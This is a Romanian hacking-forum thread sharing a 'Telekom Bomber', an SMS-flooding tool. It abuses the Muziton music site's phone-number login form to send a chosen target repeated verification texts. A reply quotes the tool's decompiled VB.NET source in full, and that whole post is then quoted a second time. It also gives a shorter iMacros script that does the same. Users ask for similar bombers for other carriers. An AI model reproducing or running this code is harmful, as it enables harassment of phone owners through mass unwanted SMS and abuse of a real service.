Telekom Bomber

daNNy.bv · September 27, 2014

Pentru ca aveam nevoie de unul am decis sa il fac asa repejor. [sunt facute si pe net, dar ma plictiseam]

### Scan:https://www.virustotal.com/ro/file/332ec9d1fbbcaefb5b090a0cba7b3ead08420703e52eb8d84f418bb5e50b0933/analysis/1411842237/

### Screenshot:

### Download:

GirlShare - Download Telekom Bomber.exe

Nu puneti un numar abuziv de sms!

bubbles · September 27, 2014

"A intervenit o eroare"

daNNy.bv · September 27, 2014

"A intervenit o eroare"

Mai da fail cand se incarca siteul mai greu. Restart si merge

mariusdmm · September 27, 2014

nush ce are, dar la mine nu merge. zice ca s-au trimis toate, dar..pl...nimic

razor1991bc · September 27, 2014

Nu merge

daNNy.bv · September 27, 2014

nush ce are, dar la mine nu merge. zice ca s-au trimis toate, dar..pl...nimic

poza : http://oi61.tinypic.com/2wdx1ya.jpg

zachary1337 · September 27, 2014

Nu merge

http://www.muziton.ro/web/public/buyNow.jsf

Ar trebui sa scoti Process.Start("http://www.rstforums.com") devine enervant dupa un timp si nu ii vad nici rostu

Edited September 27, 2014 by zachary1337

sleed · September 27, 2014

Depinde la ce sms api este conectat. Daca e , poti sa cauti un sms api si sa il integrezi.

Aerosol · September 27, 2014

functioneaza perfect, mi-am trimis pe un numar vechi, am scris 30 dar a trmis doar 27 (destul de bine zic eu )

Hubba · September 28, 2014

Pe orange stie cineva un sms bomber ?

ionut.exotic · September 29, 2014

La mine nu se deschide, cand intru in el imi apare o erroare cu telecom_bombardier.exe is not valit win32 aplication .

Am incercat si pe alt pc si tot la fel, am windows xp .

daNNy.bv · September 30, 2014

La mine nu se deschide, cand intru in el imi apare o erroare cu telecom_bombardier.exe is not valit win32 aplication .
Am incercat si pe alt pc si tot la fel, am windows xp .

baga ultima versiune de .net framework

ionut.exotic · September 30, 2014

4.5 ?

Pentru ca nu merge am incercat sa instalez .

http://s27.postimg.org/ynpf0wm0j/Snapshot_2014_09_30_012655.png

daNNy.bv · October 1, 2014

poftim pt .net 2.0

GirlShare - Download SMS Bomber.exe

Begedeu · October 3, 2014

Imi poti da te rog frumos scriptul prin pm ?

me.mello · October 3, 2014

Mi se face rau...de ras :))

Pe bune ma?


  Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
        If ((Me.nrtel.Text = "076") Or (Me.times.Text = "")) Then
            MessageBox.Show("Toate campurile sunt obligatorii!")
        Else
            Me.Timer1.Start
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
        Me.Timer1.Stop
        Me.Timer2.Stop
        Me.i = 1
        Me.j = 0
    End Sub

    Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)
        Me.Timer1.Stop
        Me.Timer2.Stop
    End Sub

    <DebuggerNonUserCode> _
    Protected Overrides Sub Dispose(ByVal disposing As Boolean)
        Try 
            If (disposing AndAlso (Not Me.components Is Nothing)) Then
                Me.components.Dispose
            End If
        Finally
            MyBase.Dispose(disposing)
        End Try
    End Sub

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
        Me.WebBrowser1.ScriptErrorsSuppressed = True
    End Sub
 Private Sub PictureBox1_Click(ByVal sender As Object, ByVal e As EventArgs)
        Process.Start("http://www.rstforums.com")
    End Sub

    Private Sub step1()
        Me.WebBrowser1.Navigate("http://www.muziton.ro/web/public/home.jsf")
        Me.i += 1
        Try 
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step2()
        Try 
            Dim enumerator As IEnumerator
            Dim elementsByTagName As HtmlElementCollection = Nothing
            elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
            Try 
                enumerator = elementsByTagName.GetEnumerator
                Do While enumerator.MoveNext
                    Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
                    If (Strings.InStr(current.GetAttribute("classname").ToString, "tuneButton button", CompareMethod.Binary) > 0) Then
                        current.InvokeMember("click")
                    End If
                Loop
            Finally
                If TypeOf enumerator Is IDisposable Then
                    TryCast(enumerator,IDisposable).Dispose
                End If
            End Try
            Me.i += 1
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            MessageBox.Show("A intervenit o eroare")
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step3()
        Try 
            Dim enumerator As IEnumerator
            Dim elementsByTagName As HtmlElementCollection = Nothing
            elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
            Try 
                enumerator = elementsByTagName.GetEnumerator
                Do While enumerator.MoveNext
                    Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
                    If (Strings.InStr(current.GetAttribute("classname").ToString, "buttStyle2 buttBuyNow", CompareMethod.Binary) > 0) Then
                        current.InvokeMember("click")
                    End If
                Loop
            Finally
                If TypeOf enumerator Is IDisposable Then
                    TryCast(enumerator,IDisposable).Dispose
                End If
            End Try
            Me.i += 1
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            MessageBox.Show("A intervenit o eroare")
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step4()
        Try 
            Me.WebBrowser1.Document.GetElementById("loginFrm:msisdnLogin").SetAttribute("value", Me.nrtel.Text)
            Me.WebBrowser1.Document.GetElementById("loginFrm:loginMeIn").InvokeMember("click")
            Me.j += 1
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            MessageBox.Show("A intervenit o eroare")
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step5()
        Me.WebBrowser1.GoBack
        Me.j += 1
    End Sub

    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
        If (Me.i = 1) Then
            Me.step1
        ElseIf (Me.i = 2) Then
            Me.step2
        ElseIf (Me.i = 3) Then
            Me.step3
        ElseIf (Me.i = 4) Then
            Me.Timer2.Start
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
        If (Me.j < (Conversions.ToDouble(Me.times.Text) * 2)) Then
            If ((Me.j Mod 2) = 0) Then
                Me.step4
                Me.trimise.Text = Conversions.ToString(CDbl((Conversion.Int(CDbl((CDbl(Me.j) / 2))) + 1)))
            Else
                Me.step5
            End If
        Else
            Me.Timer1.Stop
            Me.Timer2.Stop
            Me.i = 1
            Me.j = 0
        End If
    End Sub

Dar baiatului care a facut pagina web de flood Cosmote nu ii multumesti? Sincer ma doare burta de ras ca te-ai chinuit sa faci 5 sub-rutine' pentru un amarat de POST in VISUAL BASIC .NET in componenta WebBrower1 =)) , plus ca se putea face mai simplu cu request fara nici un fel de WebBrower ascuns, defapt e atat de simplu incat nici nu necesita programare:


TAB T=1
URL GOTO=http://www.muziton.ro/web/public/buyNow.jsf
TAG POS=2 TYPE=DIV ATTR=TXT:Serviciul<SP>Muziton<SP>se<SP>supune<SP>unor<SP>Termeni<SP>?*
TAG POS=1 TYPE=A ATTR=TXT:Cump?r?
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS

Ideea de baza este ca cei de la telekom au inchis pagina muziton(de aia primiti si eroare), si o vor reface probabil cu captcha ca cei de la orange sau cu cont ca si cei de la vodafone.

Imi dau seama ca ai copiat ideea de la individul care a facut pagina de flood de la /buyNow.jsf :)) defapt pagina asta face post mai departe catre un alt script .jsf ma intreb cate Private Sub step* mai faceai:))

Trebuie sa recunosc ca sunt unul dintre sifonarii care au dat pe topogan cu lux de amanunt indata ce cacatul asta de muziton a devenit viral si folosit de toti cacanarii.

Hai sa-ti dau un sfat. Niciodata sa numai faci share la asemenea rahaturi, daca faci asta pentru a incerca sa fii vazut bine....ei afla ca nu o sa fii vazut mai bine, ideea este ca cei care ti-ai dori sa te respecte stiau deja asta mai ales ca nu e gasit de tine(parerea mea), iar sa faci un share catre public adica 80% ratati care probabil nu au dat comment nici like au mai putin de 50 posturi, la al 10-lea cont etc dar in schimb au dat 99999 mesaje spam nu o sa faca decat sa te bage in rahat la propriu sau la figurat. Spun asta pentru ca majoritatea "sms-bomberelor" sunt defapt GET-uri sau POST-uri, iar indata ce ajung pe mana a 2-3 ratati in 5-10 zile maxim numai functioneaza si e posibil sa te fi chinuit degeaba, foarte putine sanse sa mai gasesti un asemenea serviciu web de trimis sms-uri pe care sa il exploatezi, sunt rare si mai ales nestiute de multi. Inca nu s-a gasit cineva sa faca un SMS-Gateway bomber.

Daca tu zici ca ai gasit asta de unul singur, ei bine eu te felicit.

Edited October 3, 2014 by me.mello

quadxenon · October 3, 2014

https://rstforums.com/forum/32438-sms-bomber.rst#post220517

Se stia de mult de muziton si au mai fost facute sms-bombere,dar nu cred ca a zis ca el l-a descoperit.

daNNy.bv · October 3, 2014

Mi se face rau...de ras :))

Pe bune ma?


  Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
        If ((Me.nrtel.Text = "076") Or (Me.times.Text = "")) Then
            MessageBox.Show("Toate campurile sunt obligatorii!")
        Else
            Me.Timer1.Start
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
        Me.Timer1.Stop
        Me.Timer2.Stop
        Me.i = 1
        Me.j = 0
    End Sub

    Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)
        Me.Timer1.Stop
        Me.Timer2.Stop
    End Sub

    <DebuggerNonUserCode> _
    Protected Overrides Sub Dispose(ByVal disposing As Boolean)
        Try 
            If (disposing AndAlso (Not Me.components Is Nothing)) Then
                Me.components.Dispose
            End If
        Finally
            MyBase.Dispose(disposing)
        End Try
    End Sub

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
        Me.WebBrowser1.ScriptErrorsSuppressed = True
    End Sub
 Private Sub PictureBox1_Click(ByVal sender As Object, ByVal e As EventArgs)
        Process.Start("http://www.rstforums.com")
    End Sub

    Private Sub step1()
        Me.WebBrowser1.Navigate("http://www.muziton.ro/web/public/home.jsf")
        Me.i += 1
        Try 
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step2()
        Try 
            Dim enumerator As IEnumerator
            Dim elementsByTagName As HtmlElementCollection = Nothing
            elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
            Try 
                enumerator = elementsByTagName.GetEnumerator
                Do While enumerator.MoveNext
                    Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
                    If (Strings.InStr(current.GetAttribute("classname").ToString, "tuneButton button", CompareMethod.Binary) > 0) Then
                        current.InvokeMember("click")
                    End If
                Loop
            Finally
                If TypeOf enumerator Is IDisposable Then
                    TryCast(enumerator,IDisposable).Dispose
                End If
            End Try
            Me.i += 1
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            MessageBox.Show("A intervenit o eroare")
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step3()
        Try 
            Dim enumerator As IEnumerator
            Dim elementsByTagName As HtmlElementCollection = Nothing
            elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
            Try 
                enumerator = elementsByTagName.GetEnumerator
                Do While enumerator.MoveNext
                    Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
                    If (Strings.InStr(current.GetAttribute("classname").ToString, "buttStyle2 buttBuyNow", CompareMethod.Binary) > 0) Then
                        current.InvokeMember("click")
                    End If
                Loop
            Finally
                If TypeOf enumerator Is IDisposable Then
                    TryCast(enumerator,IDisposable).Dispose
                End If
            End Try
            Me.i += 1
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            MessageBox.Show("A intervenit o eroare")
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step4()
        Try 
            Me.WebBrowser1.Document.GetElementById("loginFrm:msisdnLogin").SetAttribute("value", Me.nrtel.Text)
            Me.WebBrowser1.Document.GetElementById("loginFrm:loginMeIn").InvokeMember("click")
            Me.j += 1
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            MessageBox.Show("A intervenit o eroare")
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Sub step5()
        Me.WebBrowser1.GoBack
        Me.j += 1
    End Sub

    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
        If (Me.i = 1) Then
            Me.step1
        ElseIf (Me.i = 2) Then
            Me.step2
        ElseIf (Me.i = 3) Then
            Me.step3
        ElseIf (Me.i = 4) Then
            Me.Timer2.Start
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
        If (Me.j < (Conversions.ToDouble(Me.times.Text) * 2)) Then
            If ((Me.j Mod 2) = 0) Then
                Me.step4
                Me.trimise.Text = Conversions.ToString(CDbl((Conversion.Int(CDbl((CDbl(Me.j) / 2))) + 1)))
            Else
                Me.step5
            End If
        Else
            Me.Timer1.Stop
            Me.Timer2.Stop
            Me.i = 1
            Me.j = 0
        End If
    End Sub

Dar baiatului care a facut pagina web de flood Cosmote nu ii multumesti? Sincer ma doare burta de ras ca te-ai chinuit sa faci 5 sub-rutine' pentru un amarat de POST in VISUAL BASIC .NET in componenta WebBrower1 =)) , plus ca se putea face mai simplu cu request fara nici un fel de WebBrower ascuns, defapt e atat de simplu incat nici nu necesita programare:


TAB T=1
URL GOTO=http://www.muziton.ro/web/public/buyNow.jsf
TAG POS=2 TYPE=DIV ATTR=TXT:Serviciul<SP>Muziton<SP>se<SP>supune<SP>unor<SP>Termeni<SP>?*
TAG POS=1 TYPE=A ATTR=TXT:Cump?r?
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS

Ideea de baza este ca cei de la telekom au inchis pagina muziton(de aia primiti si eroare), si o vor reface probabil cu captcha ca cei de la orange sau cu cont ca si cei de la vodafone.

Imi dau seama ca ai copiat ideea de la individul care a facut pagina de flood de la /buyNow.jsf :)) defapt pagina asta face post mai departe catre un alt script .jsf ma intreb cate Private Sub step* mai faceai:))

Trebuie sa recunosc ca sunt unul dintre sifonarii care au dat pe topogan cu lux de amanunt indata ce cacatul asta de muziton a devenit viral si folosit de toti cacanarii.

Hai sa-ti dau un sfat. Niciodata sa numai faci share la asemenea rahaturi, daca faci asta pentru a incerca sa fii vazut bine....ei afla ca nu o sa fii vazut mai bine, ideea este ca cei care ti-ai dori sa te respecte stiau deja asta mai ales ca nu e gasit de tine(parerea mea), iar sa faci un share catre public adica 80% ratati care probabil nu au dat comment nici like au mai putin de 50 posturi, la al 10-lea cont etc dar in schimb au dat 99999 mesaje spam nu o sa faca decat sa te bage in rahat la propriu sau la figurat. Spun asta pentru ca majoritatea "sms-bomberelor" sunt defapt GET-uri sau POST-uri, iar indata ce ajung pe mana a 2-3 ratati in 5-10 zile maxim numai functioneaza si e posibil sa te fi chinuit degeaba, foarte putine sanse sa mai gasesti un asemenea serviciu web de trimis sms-uri pe care sa il exploatezi, sunt rare si mai ales nestiute de multi. Inca nu s-a gasit cineva sa faca un SMS-Gateway bomber.

Daca tu zici ca ai gasit asta de unul singur, ei bine eu te felicit.

Nu stiu cine cacat ti-a cerut tie explicatii !?

1. Nu a zis nimeni ca a descoperit muziton ( puteai sa citesti ca e facut din plictiseala desi sunt gata facute pe net)

2. Daca tu esti boss in VB, asta nu inseamna ca sunt programator cu experienta sau alte minuni.

3. Nu l-am pus aici ca sa fiu "vazut bine" ci pt. ca mai sunt useri care poate au nevoie.

4.Experienta vine practicand. La momentul asta m-a interesat functionalitatea, nu optimizare.

Nu-ti place, nu lua.

Sanatate, numa bine!

PS. Am descoperit 2 metode pt celelalte companii concurente, dar n-are rost sa le mai fac publice ca vin toti bo$$i care dau cu reflectoru-n ele si fac legea.

Puteai sa critici intr-un mod constructiv, nu sa iei peste picior.

me.mello · October 4, 2014

Frate! Nu exista nevoie de asa ceva intelegi?

1: Userii care "au nevoie" stiu deja despre asta.

2: Nu tu ai descoperit asta, iar in nici un caz nu-ti da dreptul sa faci mai public printr-un program facut la "plictiseala" cu 5 step...nvm

3: Din cauza ruptilor ca tine se duc de rapa chestii de genul, pricepi?

4: Nu cred ca ai descoperit nimic la celelalte "2 companii concurente", daca da bravo tie.

5: Eu nu m-am luat de tine pentru ce ai facut sau cum l-ai facut( avand in vedere celelalte chestii pentru care m-am luat de tine mi-am permis sa fac o paranteza, imi pare rau ca te simti ofensat ca ti-am spus ca ai prea multe sub-rutine in VB .NET pentru un amarat de http POST), dar daca stiai de asta sunt sigur ca stiai si cine a facut treaba asta, puteai macar sa oferi credite, pentru credite te-am taxat.

6: Nu cu reflector, probil ca stiai si tu ceva acolo, dar nu cu el, chiar mai simplu...

daNNy.bv · October 4, 2014

cui sa dau credite ca se stia de siteul ala de acum 2 ani.

ask @Dragos ca i-am dat lui metodele alea 2

nein · October 6, 2014

Autentificare merge de aici ..

xMiSt3Rx · October 24, 2014

Eu chiar as fi vrut un SMS BOMBER pentru Orange..

Sign In

Telekom Bomber

Recommended Posts

daNNy.bv

bubbles

daNNy.bv

mariusdmm

razor1991bc

daNNy.bv

zachary1337

sleed

Aerosol

Hubba

ionut.exotic

daNNy.bv

ionut.exotic

daNNy.bv

Begedeu

me.mello

quadxenon

daNNy.bv

me.mello

daNNy.bv

nein

xMiSt3Rx

Join the conversation

Browse

Activity

Pages